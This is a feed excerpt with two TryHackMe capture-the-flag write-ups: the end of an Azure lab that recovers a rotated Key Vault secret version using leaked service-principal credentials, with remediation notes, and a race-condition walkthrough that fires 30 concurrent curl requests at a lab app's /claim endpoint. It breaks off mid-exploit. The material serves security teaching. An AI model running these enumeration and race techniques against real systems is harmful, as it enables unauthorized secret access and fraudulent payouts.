&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name         Expires
-----------  -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key   2020-01-01T00:00:00+00:00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;master-key&lt;/code&gt; is expired anyway - a dead end even if it were readable. The &lt;code&gt;key-shard-*&lt;/code&gt; naming is the real hint: the flag is likely split across three secrets meant to be concatenated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-1 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;span class="c"&gt;# [REDACTED - first flag fragment]&lt;/span&gt;

az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-3 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;span class="c"&gt;# [REDACTED - last flag fragment]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. &lt;code&gt;key-shard-2&lt;/code&gt; is where it gets interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to &lt;strong&gt;secret versioning&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Recover the Rotated Secret Version
&lt;/h2&gt;

&lt;p&gt;Key Vault never overwrites a secret in place - every &lt;code&gt;set-secret&lt;/code&gt; call creates a new &lt;strong&gt;version&lt;/strong&gt;, and old versions stay readable (as long as they haven't been purged) to anyone with &lt;code&gt;get&lt;/code&gt; permission on the secret name. Rotating a secret doesn't erase its history.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list-versions &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;-o&lt;/span&gt; json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"attributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-28T01:05:05+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"attributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-28T01:05:07+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two versions, two seconds apart - the original, then the rotation. The current &lt;code&gt;key-shard-2&lt;/code&gt; (the one returned by default when you don't specify a version) is the one holding the note. The &lt;strong&gt;older&lt;/strong&gt; version, &lt;code&gt;3d6492d2c6f74123bc754a9ded22b2a0&lt;/code&gt;, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--id&lt;/span&gt; &lt;span class="s2"&gt;"https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED - middle flag fragment]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 7: Assemble the Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;THM{█████████████████████████}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Misconfiguration&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SAS in &lt;code&gt;app.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Long-lived, account-wide &lt;code&gt;read+list&lt;/code&gt; SAS token hardcoded in public JS&lt;/td&gt;
&lt;td&gt;Anyone visiting the site can enumerate and read every container/blob&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;vault&lt;/code&gt; container&lt;/td&gt;
&lt;td&gt;Sensitive files stored in a container reachable by an over-scoped SAS&lt;/td&gt;
&lt;td&gt;SP credentials exposed to anyone with the SAS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key Vault RBAC&lt;/td&gt;
&lt;td&gt;SP granted read on specific secrets but not scoped tightly (or old versions left unpurged)&lt;/td&gt;
&lt;td&gt;Rotated secret's pre-leak value still fully recoverable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;master-key&lt;/code&gt; expiry&lt;/td&gt;
&lt;td&gt;Secret expired instead of being removed/rotated with purge&lt;/td&gt;
&lt;td&gt;Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Remediation Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.&lt;/li&gt;
&lt;li&gt;SAS tokens should carry the minimum permission set and a realistic expiry - &lt;code&gt;se=2099-12-31&lt;/code&gt; defeats the purpose of using a SAS at all.&lt;/li&gt;
&lt;li&gt;Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - &lt;strong&gt;purge old versions&lt;/strong&gt; (&lt;code&gt;az keyvault secret purge&lt;/code&gt;, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value.&lt;/li&gt;
&lt;li&gt;Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit &lt;code&gt;az role assignment list&lt;/code&gt; for service principals that have outlived their original purpose.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Towel on the Sunbed Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 14:12:34 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-towel-on-the-sunbed-writeup-3mn2</link>
      <guid>https://dev.to/exploitnotes/tryhackme-towel-on-the-sunbed-writeup-3mn2</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a&lt;br&gt;
24-hour cooldown on claiming a reward. The &lt;code&gt;/claim&lt;/code&gt; endpoint has a classic&lt;br&gt;
check-then-act race condition: it checks whether the claim window has&lt;br&gt;
elapsed, then updates the balance, without doing either atomically. Firing&lt;br&gt;
many concurrent requests at &lt;code&gt;/claim&lt;/code&gt; lets several of them pass the&lt;br&gt;
eligibility check before any of them commit their balance update, so&lt;br&gt;
multiple 50-PONZI rewards land from what should only ever be one claim per&lt;br&gt;
day. Racing past the intended single-claim limit pushes the balance over&lt;br&gt;
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the&lt;br&gt;
flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;span class="go"&gt;PORT     STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;3000/tcp open  http    Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A crypto-themed "staking rewards" app on port 3000, redirecting&lt;br&gt;
unauthenticated requests to &lt;code&gt;/auth/login&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Mapping the app
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A normal username/password registration form, client-side JS posting JSON&lt;br&gt;
to &lt;code&gt;/auth/register&lt;/code&gt; and &lt;code&gt;/auth/login&lt;/code&gt;. Registered and logged in as a test&lt;br&gt;
account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"testuser","password":"testpass123"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Account created."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"redirect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"/dashboard"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"testuser","password":"testpass123"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Logged in."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"redirect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"/dashboard"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dashboard's front-end JS (&lt;code&gt;/js/dashboard.js&lt;/code&gt;) lays out the whole app&lt;br&gt;
logic: a &lt;code&gt;balance&lt;/code&gt; field, a "Claim Reward" button hitting &lt;code&gt;POST /claim&lt;/code&gt;&lt;br&gt;
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"&lt;br&gt;
unlocked at a 150-PONZI balance via &lt;code&gt;GET /vault&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Shrimp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"canClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"secondsUntilClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Confirming the claim/cooldown mechanic
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Staking reward claimed successfully."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reward"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"newBalance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Shrimp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"priceSnapshot"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"canClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"secondsUntilClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;86396&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One claim, then locked out for roughly 24 hours (86396 seconds). At 50&lt;br&gt;
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the&lt;br&gt;
vault would take three real claim cycles, spread across three days. Worth&lt;br&gt;
testing whether the cooldown is actually enforced atomically or just&lt;br&gt;
checked once per request.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Race condition in &lt;code&gt;/claim&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Fired 30 concurrent &lt;code&gt;/claim&lt;/code&gt; requests against the same authenticated&lt;br&gt;
session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 30&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim &lt;span class="nt"&gt;-o&lt;/span&gt; resp_&lt;span class="nv"&gt;$i&lt;/span&gt;.json &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait
grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="s1"&gt;'"reward"'&lt;/span&gt; resp_&lt;span class="k"&gt;*&lt;/span&gt;.json | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First run against the already-claimed &lt;code&gt;testuser&lt;/code&gt; session returned zero&lt;br&gt;
successful claims - expected, since that account had already used its&lt;br&gt;
claim for the day and every request correctly saw &lt;code&gt;canClaim: false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Registered a fresh account (&lt;code&gt;racer1&lt;/code&gt;) specifically to race from a clean,&lt;br&gt;
unclaimed state, then immediately fired 30 concurrent claims before any&lt;br&gt;
single request's balance update could commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"racer1","password":"testpass123"}'&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"racer1","password":"testpass123"}'&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 30&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim &lt;span class="nt"&gt;-o&lt;/span&gt; resp_&lt;span class="nv"&gt;$i&lt;/span&gt;.json &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait

grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"reward":[0-9]*'&lt;/span&gt; resp_&lt;span class="k"&gt;*&lt;/span&gt;.json | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six of the thirty concurrent requests succeeded - six separate 50-PONZI&lt;br&gt;
rewards from a mechanic that's supposed to permit exactly one per day.&lt;br&gt;
Classic TOCTOU (time-of-check to time-of-use): each request reads&lt;br&gt;
&lt;code&gt;canClaim&lt;/code&gt; from the current balance/timestamp state before any of the&lt;br&gt;
other concurrent requests has written its update back, so several&lt;br&gt;
requests all see "eligible" simultaneously and all get paid out.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Whale"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;300 PONZI - double the 150-PONZI whale threshold, from a single racing&lt;br&gt;
burst.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Unlocking the vault
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/vault
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
